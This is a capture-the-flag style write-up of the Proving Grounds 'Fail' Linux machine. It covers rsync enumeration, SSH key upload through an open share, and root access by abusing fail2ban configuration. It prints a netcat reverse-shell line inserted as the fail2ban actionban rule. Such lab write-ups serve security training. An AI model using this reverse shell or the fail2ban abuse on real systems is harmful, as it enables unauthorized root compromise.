Fail - Proving Grounds Practice
Linux
This blog post is a writeup of the Fail machine from Proving Grounds Practice.
Summary
- The server runs a Rsync service which shares a /home folder without password.
- Uploading a SSH key to this shared folder allows us to connect via SSH as fox user.
- Fox user belongs to fail2ban group so we are able to modify some config files from this service.
- Modifying /etc/fail2ban/action.d/iptables-multiform.conf and changing the actionban rule by a reverse shell line we are able to catch a reverse shell as root user.
Detailed steps
Enumeration
This machine has only two open ports –> 22-SSH and 873-RSYNC
I started as always just enumerating the open ports with:
nmap -Pn -p- 192.168.186.126
I found a RSYNC service which is a remote and local file synchronisation tool.
Nmap has a script to enumerate this service:
nmap -Pn -sV --script=rsync-list-modules -p 873 192.168.186.126
As we can see in the picture, Rsync it’s sharing a folder named fox.
Explotation
In order to exploit Rsync service, I tried to connect to fox folder using netcat:
@RSYNCD: 31.0
fox
The response from Rsync was OK which means that no password is needed to connect to this folder.
I used rsync to download the folder but it was empty.
Having in count that there is a SSH service i tried to create a SSH key to upload to the shared folder and log in as fox user.
1- Generating the SSH key:
2- Uploading the key to the server:
3- Connecting via SSH with our key:
Being fox user I was able to find the user flag:
Privilege escalation
I found that fox user belongs to the fail2ban group.
Fail2ban scans log files and bans IPs that show the malicious signs – too many password failures, seeking for exploits, etc.
Belonging to fail2ban group we are able to modify some configuration files.
In /etc/fail2ban/jail.conf file I was able to find the bantime (1 minute), numer of failures (2) and how much time the server bans a host (10 minutes).
Knowing this I decided to modify /etc/fail2ban/action.d/iptables-multiform.conf which contains the actionban rule.
This rule sets the action the server will take when a host is banned.
I modified this file to open a reverse shell when a host is banned:
File permissions
actionban = /usr/bin/nc -e /usr/bin/bash 192.168.45.240 5566
In order to catch the reverse shell I opened a netcat listener and tried to login via SSH to get banned.
Once I get banned from the server I was able to catch the shell as root user:
Root flag:
